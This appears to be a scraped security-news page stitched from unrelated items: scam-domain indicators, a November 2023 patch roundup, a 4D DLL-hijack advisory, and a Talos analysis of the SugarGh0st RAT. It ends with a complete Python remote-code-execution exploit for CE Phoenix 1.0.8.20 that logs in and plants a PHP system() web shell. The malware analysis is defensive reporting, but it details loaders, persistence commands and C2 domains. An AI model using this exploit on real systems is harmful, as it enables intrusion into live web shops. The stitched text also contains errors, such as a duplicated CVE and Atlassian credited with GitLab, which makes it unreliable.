tracklinker\[.\]space  
trackmenow\[.\]life  
trackify\[.\]world  
trackinghub\[.\]info  
trkmyclk\[.\]xyz  
trk-server\[.\]xyz

34.74.68\[.\]195

**Scam landing pages**

systemmeasures\[.\]life
xyzcreators\[.\]xyz

 Associated Press, ESPN, CBS among top sites serving fake virus alerts 

Plus: Major security patches from Microsoft, Mozilla, Atlassian, Cisco, and more.

The holiday season is here, but software firms are still busy issuing fixes for major security flaws. Microsoft, Google, and enterprise software firm Atlassian have released patches for vulnerabilities already being used in attacks. Cisco also patched a bug deemed so serious, it was given a near-maximum CVSS score of 9.9.

Here’s everything you need to know about the patches released in November.

Google Chrome

Google ended November with a bang after issuing seven security fixes for Chrome, including an emergency patch for an issue already being used in real-life attacks. Tracked as CVE-2023-6345, the already exploited flaw is an integer overflow issue in Skia, an open source 2D graphics library. “Google is aware that an exploit for CVE-2023-6345 exists in the wild,” the browser maker said in an advisory.

Little is known about the fix at the time of writing; however, it was reported by Benoît Sevens and Clément Lecigne of Google's Threat Analysis Group, indicating the exploit could be spyware-related.

The six other flaws fixed by Google and rated as having a high impact include CVE-2023-6348, a type-confusion bug in Spellcheck, and CVE-2023-6351, a use-after-free issue in libavif.

Earlier in the month, Google released fixes for 15 security issues in its widely used browser. Among the bugs fixed by the software giant are three rated as having a high severity. Tracked as CVE-2023-5480, the first is an inappropriate implementation issue in Payments, while the second, CVE-2023-5482, is an insufficient data validation flaw in USB with a CVSS score of 8.8. The third high-severity bug, CVE-2023-5849, is an integer overflow issue in USB.

Mozilla Firefox

Chrome competitor Firefox has fixed 10 vulnerabilities in the browser, six of which are rated as having a high impact. CVE-2023-6204 is an out-of-bound memory access flaw in WebGL2 blitFramebuffer, while CVE-2023-6205 is a use-after-free issue in MessagePort.

Meanwhile, CVE-2023-6206 could allow clickjacking permission prompts using the full-screen transition. “The black fade animation when exiting full screen is roughly the length of the anti-clickjacking delay on permission prompts,” Firefox owner Mozilla said. “It was possible to use this fact to surprise users by luring them to click where the permission grant button would be about to appear.”

CVE-2023-6212 and CVE-2023-6212 are Memory safety bugs, both with a CVSS score of 8.8, in Firefox 120, Firefox ESR 115.5, and Thunderbird 115.5.

Google Android

Google's November Android Security Bulletin details fixes patched in this month, including eight in the Framework, six of which are elevation of privilege bugs. The worst flaw could lead to local escalation of privilege with no additional execution privileges needed, Google said in an advisory.

Google also fixed seven issues in the System, six of which are rated as having a high severity and one marked as critical. Tracked as CVE-2023-40113, the critical bug could lead to local information disclosure with no additional execution privileges needed.

Google's Pixel devices have already received the November update, along with some additional fixes. The November Android Security Bulletin has also started to roll out to some of Samsung’s Galaxy line.

Microsoft

Microsoft has a Patch Tuesday every month, but November's is worth notice. The update fixes 59 vulnerabilities, two of which are already being exploited in real-life attacks. Tracked as CVE-2023-36033, the first is an elevation of privilege vulnerability in Windows DWM Core Library marked as important, with a CVSS score of 7.8. “An attacker who successfully exploited this vulnerability could gain SYSTEM privileges,” Microsoft said.

Meanwhile, CVE-2023-36036 is an elevation of privilege vulnerability in Windows Cloud Files Mini Filter Driver with a CVSS score of 7.8. Also fixed in November’s update cycle is the already exploited libWep flaw previously fixed in Chrome and other browsers, which also impacts Microsoft’s Edge, tracked as CVE-2023-4863.

Another notable flaw is CVE-2023-36397, a remote code execution vulnerability in Windows Pragmatic General Multicast marked as critical with a CVSS score of 9.8. “When Windows message queuing service is running in a PGM Server environment, an attacker could send a specially crafted file over the network to achieve remote code execution and attempt to trigger malicious code,” Microsoft said.

Cisco

Enterprise software firm Cisco has issued fixes for 27 security flaws, including one rated as critical with a near maximum CVSS score of 9.9. Tracked as CVE-2023-20048, the vulnerability in the web services interface of Cisco Firepower Management Center Software could allow an authenticated, remote attacker to execute unauthorized configuration commands on a Firepower Threat Defense device managed by the FMC Software.

However, to successfully exploit the vulnerability, an attacker would need valid credentials on the FMC Software, Cisco said.

A further seven of the flaws fixed by Cisco are rated as having a high impact, including CVE-2023-20086—a denial-of-service flaw with a CVSS score of 8.6—and CVE-2023-20063, a code-injection vulnerability with a CVSS score of 8.2.

Atlassian

Atlassian has released a patch to fix a serious flaw already being used in real-life attacks. Tracked as CVE-2023-22518, the improper-authorization vulnerability issue in Confluence Data Center and Server is being used in ransomware attacks. “As part of Atlassian's ongoing monitoring and investigation of this CVE, we observed several active exploits and reports of threat actors using ransomware,” it said.

Security outfit Trend Micro reported the Cerber ransomware group is using the flaw in attacks. “This is not the first time that Cerber has targeted Atlassian—in 2021, the malware re-emerged after a period of inactivity and focused on exploiting remote code execution vulnerabilities in Atlassian's GitLab servers,” Trend Micro said.

All versions of Confluence Data Center and Server are affected by the flaw, which allows an unauthenticated attacker to reset Confluence and create an administrator account. “Using this account, an attacker can perform all administrative actions available to a Confluence instance administrator, leading to a full loss of confidentiality, integrity and availability,” Atlassian said.

SAP

Enterprise software giant SAP has released its November Security Patch Day, fixing three new flaws. Tracked as CVE-2023-31403 and with a CVSS score of 9.6, the most serious issue is an improper access control vulnerability flaw in SAP Business One. As a result of exploiting the issue, a malicious user could read and write to the SMB shared folder, the software giant said.

Google Fixes a Seventh Zero-Day Flaw in Chrome—Update Now

An uncontrolled search path element vulnerability has been found on 4D and 4D server Windows executables applications, affecting version 19 R8 100218. This vulnerability consists in a DLL hijacking by replacing x64 shfolder.dll in the installation path, causing an arbitrary code execution.

Affected Resources

*   4D.exe and 4D Server.exe executables, in their 19 R8 100218 version, are affected by this vulnerability.

Description

INCIBE has coordinated the publication of one vulnerabilitiy that affects 4D and 4D server Windows executables, which have been discovered by Alexander Huaman Jaimes (@zanganox).

This vulnerabilitiy has been assigned the following code, CVSS v3.1 base score, CVSS vector string, and CWE vulnerability type:

*   CVE-2023-4770: CVSS v3.1: 6.5 | CVSS: AV:L/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:H | CWE-427.

Solution

There is no solution reported at the moment.

Detail

*   **CVE-2023-4770**: an uncontrolled search path element vulnerability has been found on 4D and 4D server Windows executables applications, affecting version 19 R8 100218. This vulnerability consists in a DLL hijacking by replacing x64 shfolder.dll in the installation path, causing an arbitrary code execution.

CVE-2023-4770: Uncontrolled Search Path Element Vulnerability in 4D and 4D Windows Server

Cisco Talos recently discovered a malicious campaign that likely started as early as August 2023, delivering a new remote access trojan (RAT) we dubbed “SugarGh0st.”

*   Cisco Talos recently discovered a malicious campaign that likely started as early as August 2023, delivering a new remote access trojan (RAT) we dubbed “SugarGh0st.” 
*   We found evidence suggesting the threat actor is targeting the Uzbekistan Ministry of Foreign Affairs and users in South Korea. 
*   We assess with high confidence that the SugarGh0st RAT is a new customized variant of Gh0st RAT, an infamous trojan that’s been active for more than a decade, with customized commands to facilitate the remote administration tasks as directed by the C2 and modified communication protocol based on the similarity of the command structure and the strings used in the code.
*   We observed two infection chains leveraging Windows Shortcut embedded with malicious JavaScript to deliver the components to drop and launch the SugarGh0st payload.
*   In one infection chain, the actor leverages the DynamixWrapperX tool to enable Windows API function calls in malicious JavaScript for running the shellcode.
*   Talos assesses with low confidence that a Chinese-speaking threat actor is operating this campaign based on the artifacts we found in the attack samples.

**Suspected Chinese Actor targeting Uzbekistan and South Korea**

Talos discovered four samples deployed in this campaign that are likely targeting users in Uzbekistan and South Korea based on the language of the decoy documents, the lure content, and distribution indicators Talos found in the wild. 

One of the samples is sent to users in the Ministry of Foreign Affairs of Uzbekistan. The sample is an archive embedded with a Windows ShortCut LNK file which, upon opening, drops the decoy document “Investment project details.docx'' with Uzbek content about a presidential decree in Uzbekistan focused on enhancing state administration in technical regulation. The lure content of the decoy document was published in multiple Uzbekistan sources in 2021. The initial vector of the campaign is likely a phishing email with an attached malicious RAR archive file sent to an employee of the Ministry of Foreign Affairs.  

Decoy document in Uzbek language.

Besides Uzbekistan, we also observed indications of targets in South Korea. We found three other decoy documents written in Korean dropped by the malicious JavaScript file embedded in the Windows Shortcut, seemingly distributed in South Korea. The decoy document named “Account.pdf” was forged as a Microsoft account security notification for confirming an account registration with a generated password. Another decoy named “MakerDAO MKR approaches highest since August.docx'' uses the copied content from 코인데스크코리아 (CoinDesk Korea, a Korean news outlet that covers the blockchain). The third decoy document, named “Equipment\_Repair\_Guide.docx,” has the lure information with instructions for computer maintenance in an organization. To reinforce our assessment of South Korean targets, we also observed C2 domain requests from IPs originating from South Korea. 

The decoy documents found in the samples collected by Talos.

During our analysis, we observed a couple of artifacts that suggested the actor might be Chinese-speaking. Two of the decoy files we found have the “last modified by” names shown as “浅唱丶低吟” (Sing lightly, croon) and “琴玖辞” (seems to be the name of a Chinese novel author), which are both Simplified Chinese. 

The author and last editor’s information on decoy documents.

Besides the decoy document metadata, the actor prefers using SugarGh0st, a Gh0st RAT variant. The Gh0st RAT malware is a mainstay in the Chinese threat actors’ arsenal and has been active since at least 2008. Chinese actors also have a history of targeting Uzbekistan. The targeting of the Uzbekistan Ministry of Foreign Affairs also aligns with the scope of Chinese intelligence activity abroad. 

**SugarGh0st is a new Gh0st RAT variant**

Talos discovered a RAT that we call SugarGh0st delivered as a payload in this campaign. Talos assesses with high confidence that SugarGh0st is a customized variant of the Gh0st RAT. Gh0st RAT was developed by a Chinese group called 红狼小组 (C.Rufus Security Team), and its source code was publicly released in 2008. The public release of the source code has made it easy for threat actors to get access to it and tailor it to fulfill their malicious intentions. There are several variants of Gh0st RAT in the threat landscape, and it remains a preferred tool for many Chinese-speaking actors, allowing them to conduct surveillance and espionage attacks.

Compared with the original Gh0st malware, SugarGh0st is equipped with some customized features in its reconnaissance capability in looking for specific Open Database Connectivity (ODBC) registry keys, loading library files with specific file extensions and function name, customized commands to facilitate the remote administration tasks directed by the C2, and to evade earlier detections. The C2 communication protocol is also modified. The first eight bytes of the network packet header are reserved as magic bytes versus the first five in the earlier Gh0st RAT variants. The remaining features, including taking full remote control of the infected machine, providing real-time and offline keylogging, hooks to the webcam of an infected machine, and downloading and running other arbitrary binaries on the infected host are aligned with the features of earlier Gh0st RAT variants. 

**A multi-stage infection chain **

Talos discovered two different infection chains employed by the threat actor to target the victims in this campaign. One of the infection chains decrypts and executes the SugarGh0st RAT payload, the customized variant of the Gh0st RAT. Another infection chain leverages the DynamicWrapperX loader to inject and run the shellcode that decrypts and executes SugarGh0st. 

**Infection Chain No. 1**

The first infection chain starts with a malicious RAR file containing a Windows Shortcut file with a double extension. When a victim opens the shortcut file, it runs a command to drop and execute an embedded JavaScript file. The JavaScript eventually drops a decoy, an encrypted SugarGh0st payload, DLL loader and batch script. Then, the JavaScript executes the batch script to run the dropped DLL loader by sideloading it with a copied rundll32. The DLL loader will decrypt the encrypted SugarGh0st payload in memory and run it reflectively. 

**Shortcut file embedded with malicious JavaScript dropper**

The Windows shortcut file discovered in this attack is embedded with JavaScript and has command line arguments to drop and execute it. Upon the victim opening the LNK file, the command line argument of the LNK file runs to locate and load the JavaScript with the string start of “var onm=” which is the beginning of the JavaScript dropper and drops the JavaScript into the %temp% location. After that, the dropped JavaScript is executed using the living-off-the-land binary (LoLBin) cscript. 

Sample of malicious LNK file.

**JavaScript dropper **

The JavaScript dropper is a heavily obfuscated script embedded with base64 encoded data of the other components of the attack. The JavaScript decodes and drops the embedded files into the %TEMP% folder, including a batch script, a customized DLL loader, an encrypted SugarGh0st payload, and a decoy document. It first opens the decoy document to masquerade as legitimate action, then copies the legitimate rundll32 executable from the “Windows\\SysWow64” folder into the %TEMP% folder. Finally, it executes the batch script loader from the %TEMP% location and runs the customized DLL loader. The JavaScript deleted itself from the file system afterward. 

The JavaScript dropper.

**Batch script loader**

The batch script, in this instance, is named “ctfmon.bat” and has the commands to run the dropped customized DLL loader. When executed, it sideloads the DLL loader with rundll32.exe and executes the function which is DllUnregisterServer, typically used by COM (Component Object Model) DLLs.

The batch script loader.

**DLL Loader decrypts and reflectively loads the SugarGh0st payload**

The customized DLL loader named “MSADOCG.DLL” (name of the DLL associated with Microsoft's ActiveX Data Objects (ADO) technology) is a 32-bit DLL written in C++ and implemented as a COM object component. The loader includes packed code that is unpacked with custom unpacking code. When the DLL is run, it unpacks the code to read the dropped encrypted SugarGh0st payload file named “DPLAY.LIB '' from the %TEMP% location, decrypts it and runs it in the memory. 

Stub code to unpack code.

Function to load the encrypted payload.

**Infection chain No. 2**

Similar to the first infection chain, this attack also starts with a RAR archive file containing a malicious Windows Shortcut file forged as the decoy document. The Windows shortcut file, by executing the embedded commands, drops the JavaScript dropper file into the %TEMP% location and executes it with cscript. The JavaScript in this attack drops a decoy document, a legitimate DynamicWrapperX DLL, and the encrypted SugarGh0st. The JavaScript uses the legitimate DLL to enable running the embedded shellcode for running the SugarGh0st payload. 

**JavaScript leverages DynamicWrapperX to run shellcode that launches SugarGh0st**

The JavaScript used in this infection chain is also heavily obfuscated and is embedded with base64-encoded data of other components of the attack, including a shellcode. When the JavaScript is executed, it drops an encrypted SugarGh0st, a DLL called “libeay32.dll” and the decoy document. The JavaScript opens the decoy document and copies Wscript.exe to the %TEMP% folder as dllhost.exe. It runs the dropped JavaScript again using the dllhost.exe and creates a registry subkey called “CTFMON.exe” in the Run registry key to establish persistence. 

Registry Key

HKEY\_CURRENT\_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run

Subkey

CTFMON.exe

Value

“cmd /c start C:\\Users\\user\\AppData\\Local\\Temp\\dllhost.exe C:\\Users\\user\\AppData\\Local\\Temp\\~204158968.js”

The file “libeay32.dll” is a tool called DynamicWrapperX (originally named “dynwrapx.dll”) developed by Yuri Popov. This tool is an ActiveX component that enables Windows API function calls in scripts (JScript, VBScript, etc.). The attacker can use this to run shellcode via the JavaScript dropper. But, they must first run regsvr.exe to install the component. 

C:\\Windows\\system32\\regsvr32 /i /s C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\libeay32.dll

The DynamicWrapperX DLL registers its member functions in the victim’s machine by creating a registry subkey CLSID with the value “89565275-A714-4a43-912E-978B935EDCCC” in Software\\Classes\\DynamicWrapperX registry key. The JavaScript containing the ActiveX components executes the embedded shellcode using the DynamixWrapperX DLL. 

The shellcode has the API hashes and instructions to load and map to the functions necessary for process injection from Kernel32.dll. It also loads two other DLLs, User32.dll and shlwapi.dll. Then, it loads the encrypted SugarGh0st “libeay32.lib” from the %TEMP% location, decrypts it, and reflectively loads it into the memory space allocated in the dllhost.exe process. 

Shellcode that loads and decrypts the encrypted SugarGh0st. 

**Analysis of SugarGh0st   **

The SugarGh0st sample analyzed by Cisco Talos is a 32-bit dynamic link library in C++ compiled on Aug. 23, 2023. During its initial execution, SugarGh0st creates a mutex on the victim’s machine using the hard-coded C2 domain as an infection marker and starts the keylogging function. The keylogger module creates a folder “WinRAR'' in the location %Program Files% and writes the keylogger file “WinLog.txt.” 

The Keylogging function of SugarGh0st.

SugarGh0st uses “WSAStartup” functions, a hardcoded C2 domain and port to establish the connection to the C2 server. Talos discovered two C2 domains, login\[.\]drive-google-com\[.\]tk and account\[.\]drive-google-com\[.\]tk, used by the threat actor in this campaign.

The C2 communication function of SugarGh0st.

After launching, SugarGh0st attempts to establish the connection to C2 every 10 seconds. If successful, the first outgoing packet always consists of the same eight bytes “0x000011A40100” as a heartbeat. After the heartbeat is successfully sent, SugarGh0st sends the buffer data, which includes the following:

*   Computer name
*   Operating system version 
*   Root and other drive information of victim machine
*   Registry key “HKEY\_LOCAL\_MACHINE\\Software\\ODBC\\H” if exist
*   Campaign codes 1 (Month and Year) and code 2 (in our samples are “default”)
*   Windows version number
*   Root drive’s volume serial number

A sample packet that was sent by SugarGh0st to C2.

SugarGh0st is a fully functional backdoor that can execute most remote control functionalities. It can launch the reverse shell and run the arbitrary commands sent from C2 as strings using the command shell.

The Reverse shell function.

SugarGh0st can collect the victim’s machine hostname, filesystem, logical drive and operating system information. It can access the running process information of the victim’s machine and control the environment by accessing the process information and terminating the process as directed by the C2 server. 

It can also manage the machine’s service manager by accessing the configuration files of the running services and can start, terminate or delete the services.

Function to operate services.

SugarGh0st can take screenshots of the victim machine’s current desktop and switch to multiple windows. It can access the victim’s machine camera to capture the screen and compress the captured data before sending it to the C2 server. SugarGh0st can perform various file operations, including searching, copying, moving and deleting the files on the victim’s machine.

It also clears the machine’s Application, Security and System event logs to hide the malicious operations logged to evade detection. 

Function to clean event logs.

SugarGh0st performs the remote control functionalities, including those discussed earlier, as directed by the C2 server with the four-byte hex commands and accompanying data. 

**Command**

**Action**

0x20000001

Adjust process privilege to “SeShutdownPrivilege” and force shut down the host.

0x20000002

Adjust process privilege to “SeShutdownPrivilege” and force reboot the host.

0x20000003

Adjust process privilege to “SeShutdownPrivilege” and force terminate the processes.

0x20000004

Clear event log

0x20000005

Create register key HKEY\_LOCAL\_MACHINE\\Software\\ODBC\\H

0x20000011

Press a key in the default window 

0x20000012

Release a key in the default window 

0x20000013

Set mouse cursor position

0x20000014

Click mouse left button

0x20000015

Release mouse left button

0x20000016

Double click the mouse left button

0x20000017

Click mouse right button

0x20000018

Release mouse right button

0x20000019

Double click the mouse left button

0x21000002

Get the logical drive information of the victim's machine. 

  

0x21000003

Search files on the victims machine filesystem

0x21000004

Delete files on the victim's machine file system

0x21000005

Moves files to the %TEMP% location 

0x21000006

Runs arbitrary shell commands

0x21000007

Copies files on the victim machine 

0x21000008

Move files on the victim's machine

0x21000009

Sends files to the C2 server 

0x2100000A

Sends the data to the windows socket

0x2100000B

Receives files from the C2 server

0x22000001

Sends the screenshot to the C2 server

0x24000001

Read file %ProgramFiles%/WinRAR/~temp.dat (which is encoded with XOR 0x62)

0x24000002

Delete file %ProgramFiles%/WinRAR/~temp.dat

0x23000000

Provides the reverse shell access to the C2 server 

0x25000000

Gets the process information and terminates the process 

0x25000001

Enumerate process information

0x25000002

Terminate Process

0x25000003

Access the victims machine service manager 

0x25000004

Access the configuration files of the running services

0x25000005

Starting service

0x25000006

Terminating and deleting the services. 

0x25000010

Performs the Windows operations

0x25000011

Get window list

0x25000012

Get message from Window

0x28000000

Capture window and perform a series of Window operations based on the command with SendMessage API.

0x28000002

Find a . OLE file under “%PROGRAMFILES%\\\\Common Files\\\\DESIGNER'' and launch

**Coverage**

Cisco Secure Endpoint (formerly AMP for Endpoints) is ideally suited to prevent the execution of the malware detailed in this post. Try Secure Endpoint for free here.

Cisco Secure Web Appliance web scanning prevents access to malicious websites and detects malware used in these attacks.

Cisco Secure Email (formerly Cisco Email Security) can block malicious emails sent by threat actors as part of their campaign. You can try Secure Email for free here.

Cisco Secure Firewall (formerly Next-Generation Firewall and Firepower NGFW) appliances such as Threat Defense Virtual, Adaptive Security Appliance and Meraki MX can detect malicious activity associated with this threat.

Cisco Secure Malware Analytics (Threat Grid) identifies malicious binaries and builds protection into all Cisco Secure products.

Umbrella, Cisco's secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs, and URLs, whether users are on or off the corporate network. Sign up for a free trial of Umbrella here.

Cisco Secure Web Appliance (formerly Web Security Appliance) automatically blocks potentially dangerous sites and tests suspicious sites before users access them.

Additional protections with context to your specific environment and threat data are available from the Firewall Management Center.

Cisco Duo provides multi-factor authentication for users to ensure only those authorized are accessing your network.

Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org. Snort SIDs for this threat is 62647.

ClamAV detections available for this threat:

Win.Trojan.SugarGh0stRAT-10014937-0

Win.Tool.DynamicWrapperX-10014938-0

Txt.Loader.SugarGh0st\_Bat-10014939-0

Win.Trojan.SugarGh0stRAT-10014940-0

Lnk.Dropper.SugarGh0stRAT-10014941-0

Js.Trojan.SugarGh0stRAT-10014942-1

Win.Loader.Ramnit-10014943-1

Win.Backdoor.SugarGh0stRAT-10014944-0

**Orbital Queries**

Cisco Secure Endpoint users can use Orbital Advanced Search to run complex OSqueries to see if their endpoints are infected with this specific threat. For specific OSqueries related to this threat, please follow the links:

*   SugarGh0st RAT file detected
*   SugarGh0st RAT Registry key 

**Indicators of Compromise**

Indicators of Compromise associated with this threat can be found here.

New SugarGh0st RAT targets Uzbekistan government and South Korea

CE Phoenix version 1.0.8.20 remote code execution exploit written in Python.

    ## Exploit Title: CE Phoenix v1.0.8.20 - Remote Code Execution (RCE) (Authenticated)#### Date: 2023-11-25#### Exploit Author: tmrswrr#### Category: Webapps#### Vendor Homepage: [CE Phoenix](https://phoenixcart.org/)#### Version: v1.0.8.20#### Tested on: [Softaculous Demo - CE Phoenix](https://www.softaculous.com/apps/ecommerce/CE_Phoenix)## EXPLOIT :import requestsfrom bs4 import BeautifulSoupimport sysimport urllib.parseimport randomfrom time import sleepclass colors:    OKBLUE = '\033[94m'    WARNING = '\033[93m'    FAIL = '\033[91m'    ENDC = '\033[0m'    BOLD = '\033[1m'    UNDERLINE = '\033[4m'    CBLACK = '\33[30m'    CRED = '\33[31m'    CGREEN = '\33[32m'    CYELLOW = '\33[33m'    CBLUE = '\33[34m'    CVIOLET = '\33[35m'    CBEIGE = '\33[36m'    CWHITE = '\33[37m' def entry_banner():    color_random = [colors.CBLUE, colors.CVIOLET, colors.CWHITE, colors.OKBLUE, colors.CGREEN, colors.WARNING,                    colors.CRED, colors.CBEIGE]    random.shuffle(color_random)    banner = color_random[0] + """     CE Phoenix v1.0.8.20 - Remote Code Execution \n     Author: tmrswrr    """    for char in banner:        print(char, end='')        sys.stdout.flush()        sleep(0.0045)def get_formid_and_cookies(session, url):    response = session.get(url, allow_redirects=True)    if response.ok:        soup = BeautifulSoup(response.text, 'html.parser')        formid_input = soup.find('input', {'name': 'formid'})        if formid_input:            return formid_input['value'], session.cookies    return None, Nonedef perform_exploit(session, url, username, password, command):    print("\n[+] Attempting to exploit the target...")       initial_url = url + "/admin/define_language.php?lngdir=english&filename=english.php"    formid, cookies = get_formid_and_cookies(session, initial_url)    if not formid:        print("[-] Failed to retrieve initial formid.")        return    # Login    print("[+] Performing login...")    login_payload = {        'formid': formid,        'username': username,        'password': password    }    login_headers = {        'Content-Type': 'application/x-www-form-urlencoded',        'Cookie': f'cepcAdminID={cookies["cepcAdminID"]}',        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36',        'Referer': initial_url    }    login_url = url + "/admin/login.php?action=process"    login_response = session.post(login_url, data=login_payload, headers=login_headers, allow_redirects=True)    if not login_response.ok:        print("[-] Login failed.")        print(login_response.text)        return    print("[+] Login successful.")    new_formid, _ = get_formid_and_cookies(session, login_response.url)    if not new_formid:        print("[-] Failed to retrieve new formid after login.")        return    # Exploit    print("[+] Executing the exploit...")    encoded_command = urllib.parse.quote_plus(command)    exploit_payload = f"formid={new_formid}&file_contents=%3C%3Fphp+echo+system%28%27{encoded_command}%27%29%3B"    exploit_headers = {        'Content-Type': 'application/x-www-form-urlencoded',        'Cookie': f'cepcAdminID={cookies["cepcAdminID"]}',        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36',        'Referer': login_response.url    }    exploit_url = url + "/admin/define_language.php?lngdir=english&filename=english.php&action=save"    exploit_response = session.post(exploit_url, data=exploit_payload, headers=exploit_headers, allow_redirects=True)    if exploit_response.ok:        print("[+] Exploit executed successfully.")    else:        print("[-] Exploit failed.")        print(exploit_response.text)        final_response = session.get(url)    print("\n[+] Executed Command Output:\n")    print(final_response.text)  def main(base_url, username, password, command):    print("\n[+] Starting the exploitation process...")    session = requests.Session()    perform_exploit(session, base_url, username, password, command)if __name__ == "__main__":    entry_banner()    if len(sys.argv) < 5:        print("Usage: python script.py [URL] [username] [password] [command]")        sys.exit(1)    base_url = sys.argv[1]    username = sys.argv[2]    password = sys.argv[3]    command = sys.argv[4]    main(base_url, username, password, command)

Tag

#windows